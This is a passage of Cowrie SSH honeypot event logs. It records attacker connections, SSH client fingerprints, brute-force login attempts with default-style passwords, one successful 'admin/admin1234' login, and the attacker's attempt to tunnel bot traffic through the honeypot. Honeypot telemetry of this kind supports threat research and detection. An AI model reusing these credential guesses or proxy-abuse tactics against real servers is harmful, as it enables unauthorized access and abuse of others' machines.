521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:47.635840Z","src_ip":"91.92.40.36","session":"2a99c49fb2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"winston","password":"winston","message":"login attempt [winston/winston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:51.618224Z","src_ip":"91.92.40.36","session":"2a99c49fb2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39084,"dst_ip":"159.203.135.109","dst_port":22,"session":"b167cfe2f974","protocol":"ssh","message":"New connection: 87.251.79.125:39084 (159.203.135.109:22) [session: b167cfe2f974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:51.903835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:51.908327Z","src_ip":"87.251.79.125","session":"b167cfe2f974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:51.978789Z","src_ip":"87.251.79.125","session":"b167cfe2f974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08021989","message":"login attempt [root/08021989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:52.193586Z","src_ip":"87.251.79.125","session":"b167cfe2f974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56522,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bd1f0cb67fe","protocol":"ssh","message":"New connection: 123.27.168.40:56522 (10.17.0.5:22) [session: 7bd1f0cb67fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:53.060180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:53.064034Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:53.266911Z","src_ip":"87.251.79.125","session":"b167cfe2f974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:53.437960Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20696,"dst_ip":"159.203.135.109","dst_port":22,"session":"67300520f973","protocol":"ssh","message":"New connection: 91.92.40.36:20696 (159.203.135.109:22) [session: 67300520f973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:53.829838Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:54.117387Z","src_ip":"91.92.40.36","session":"2a99c49fb2e0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:54.586948Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.004603Z","src_ip":"91.92.40.36","session":"67300520f973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.021222Z","src_ip":"91.92.40.36","session":"67300520f973","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.030313Z","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.158490Z","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.433793Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.101 Mobile/16D39 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OUhWJlE5Jj8wQG0zezg3fg%3D%3D2qa5TkOKYGHqG%2FQTNaq3EgKP4Su1Qyd%2BjqRtEPtYL5Vccc%2BqB%2BLpergWVpp4cfZ2eKMh9OokF5kFAC5OuJaRXQpwq3eh8QcO71v1cAPX%2FVQmrDMIVww9eRpCykwnkxUmXKKiHAZ3C3Rr0FBZ0%2BGN1AVOe4vPa5rXLgj96x%2FZ5AKboGiavUdqFq6WcoDSN4NiTmsBwXEP3k0MrAqihHIwv8h4bgBUEyulTwq79quNd6uYMwGve%2B5bf%2F38PFc1wQYKpfQGvu6vpv9miV8d6ybM6vsWGelrwAMLUP1BVVMXgPoxMNHF1I22ZfiXAOkchahSLPFFCm9u9%2FiKvnqAUvtHM1CcDqNNQo3gA4xn9cYC6y0cKpCfh20OH3mEO3C6Ggd9S%2BwFCkMkv4SgzsCoqOl0lu7oo3OpdctPj%2FOKJ9Icq8lNdVQwPuDgbRlcfJTdQpWqDFsdUYaJjEThAAFW5h%2BEiUW%2BuWP9lkDidG0kAWxIWeP4rF2KKJ8MMYDCOKufPEpOvKnrhkMul3TWYfeteTFtd%2BfaQ7uVKHZDpkp03Mf4preAptgz%2B8PouPji5mL%2BCfAkM0mAJ2CxcbpO9N5fdFXv7Wzu1r2St1LmcVKppJ6RC5Zul7WDQQEtAgwNIegCjoWoTPWMHRtqQf8S9%2FCkkB17auDDB414IXHj6qRR8WJ1ivOUe%2F31uOEXwNQFfRt8RCftqOCE9MUcSNGkI02utT5%2FVR1%2FRi0DN7r%2BpVq2FKJrp%2FzksJspSyl4CZ68ChJEFgNZDzil7pMe4g2B1JAYtHxw4CEQlDbgoKpMfbfsJQANgyKWZweP4rTMbVeRGAgXdbYcytqxa45onSLrtbU7WvW5Y55SVL6Gu1fRlwLbgTAgKkkQJ5PVk1l7qTgAMf5mAZs9Ii%2Fz27xzyMChDkYuAgn3fAN5nIWQbka9sYe7JzXVt%2Fnv0kO8NyZGYpylgiiZWpfyMVdrVXH2c0saLoavbuAji7DVzTI%2Bru5ln6%2Fqe7NLVn3sDuD6p43krXJZswIGIYXVr4Z9SEl1rOSTrN46MbUZdttzI%2Fykg4IMg7DHWu0SGMI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_1_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/91.0.4472.101 Mobile/16D39 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=OUhWJlE5Jj8wQG0zezg3fg%3D%3D2qa5TkOKYGHqG%2FQTNaq3EgKP4Su1Qyd%2BjqRtEPtYL5Vccc%2BqB%2BLpergWVpp4cfZ2eKMh9OokF5kFAC5OuJaRXQpwq3eh8QcO71v1cAPX%2FVQmrDMIVww9eRpCykwnkxUmXKKiHAZ3C3Rr0FBZ0%2BGN1AVOe4vPa5rXLgj96x%2FZ5AKboGiavUdqFq6WcoDSN4NiTmsBwXEP3k0MrAqihHIwv8h4bgBUEyulTwq79quNd6uYMwGve%2B5bf%2F38PFc1wQYKpfQGvu6vpv9miV8d6ybM6vsWGelrwAMLUP1BVVMXgPoxMNHF1I22ZfiXAOkchahSLPFFCm9u9%2FiKvnqAUvtHM1CcDqNNQo3gA4xn9cYC6y0cKpCfh20OH3mEO3C6Ggd9S%2BwFCkMkv4SgzsCoqOl0lu7oo3OpdctPj%2FOKJ9Icq8lNdVQwPuDgbRlcfJTdQpWqDFsdUYaJjEThAAFW5h%2BEiUW%2BuWP9lkDidG0kAWxIWeP4rF2KKJ8MMYDCOKufPEpOvKnrhkMul3TWYfeteTFtd%2BfaQ7uVKHZDpkp03Mf4preAptgz%2B8PouPji5mL%2BCfAkM0mAJ2CxcbpO9N5fdFXv7Wzu1r2St1LmcVKppJ6RC5Zul7WDQQEtAgwNIegCjoWoTPWMHRtqQf8S9%2FCkkB17auDDB414IXHj6qRR8WJ1ivOUe%2F31uOEXwNQFfRt8RCftqOCE9MUcSNGkI02utT5%2FVR1%2FRi0DN7r%2BpVq2FKJrp%2FzksJspSyl4CZ68ChJEFgNZDzil7pMe4g2B1JAYtHxw4CEQlDbgoKpMfbfsJQANgyKWZweP4rTMbVeRGAgXdbYcytqxa45onSLrtbU7WvW5Y55SVL6Gu1fRlwLbgTAgKkkQJ5PVk1l7qTgAMf5mAZs9Ii%2Fz27xzyMChDkYuAgn3fAN5nIWQbka9sYe7JzXVt%2Fnv0kO8NyZGYpylgiiZWpfyMVdrVXH2c0saLoavbuAji7DVzTI%2Bru5ln6%2Fqe7NLVn3sDuD6p43krXJZswIGIYXVr4Z9SEl1rOSTrN46MbUZdttzI%2Fykg4IMg7DHWu0SGMI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.437611Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.667124Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd0c\\x1fI\\x077\\x9eE\\x01\\x13\\xccr\\xa0e\\xfe\\xfc\\xed\\x07x?\\xce\\xba[\\xc3\\xabMkA\\x11\\x14-\\x0b \\x9c\\x98,x^\\x1aS\\x19\"\\xd7zI\\x1b\\xbc\\xac\\rUF0\\xf3n\\xf6\\\\\\xbf\\nKs\\xbe\\xa0\\xee\\xdb\\xd0\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea[\\xb0L\\x083yh\\xfa\\xa7\\xbb\\xca<\\xdc^\\x99mT\\xae~\\xce\\x90S\\x8b\\xe4t\\x1b\\xa1p\\xa1\\xde\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd0c\\x1fI\\x077\\x9eE\\x01\\x13\\xccr\\xa0e\\xfe\\xfc\\xed\\x07x?\\xce\\xba[\\xc3\\xabMkA\\x11\\x14-\\x0b \\x9c\\x98,x^\\x1aS\\x19\"\\xd7zI\\x1b\\xbc\\xac\\rUF0\\xf3n\\xf6\\\\\\xbf\\nKs\\xbe\\xa0\\xee\\xdb\\xd0\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xea[\\xb0L\\x083yh\\xfa\\xa7\\xbb\\xca<\\xdc^\\x99mT\\xae~\\xce\\x90S\\x8b\\xe4t\\x1b\\xa1p\\xa1\\xde\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:55.670401Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:56.169888Z","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:59:56.407263Z","src_ip":"123.27.168.40","session":"7bd1f0cb67fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03#\\x9c\\xdc\\xc4k\\x94T-\\x93\\xb4\\xf1\\xc6\\xfd?\\x05\\x94Pn\\x8a\\x87m>\\x81\\x8c\\xe3G\\xcd\\xfe\\xc2\\xc2{\\xbb \\x12\\xe9\\xf3RR4+\\x13^\\x0e\\x99\\xc6\\xfb\\xca\\xa7\\xae\\xddb-\\x81\\xf9\\x81\\x81\\xa6l\\xd3\\xe6\\xa6\\xcd\\xdd\\x84\\xbe\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x0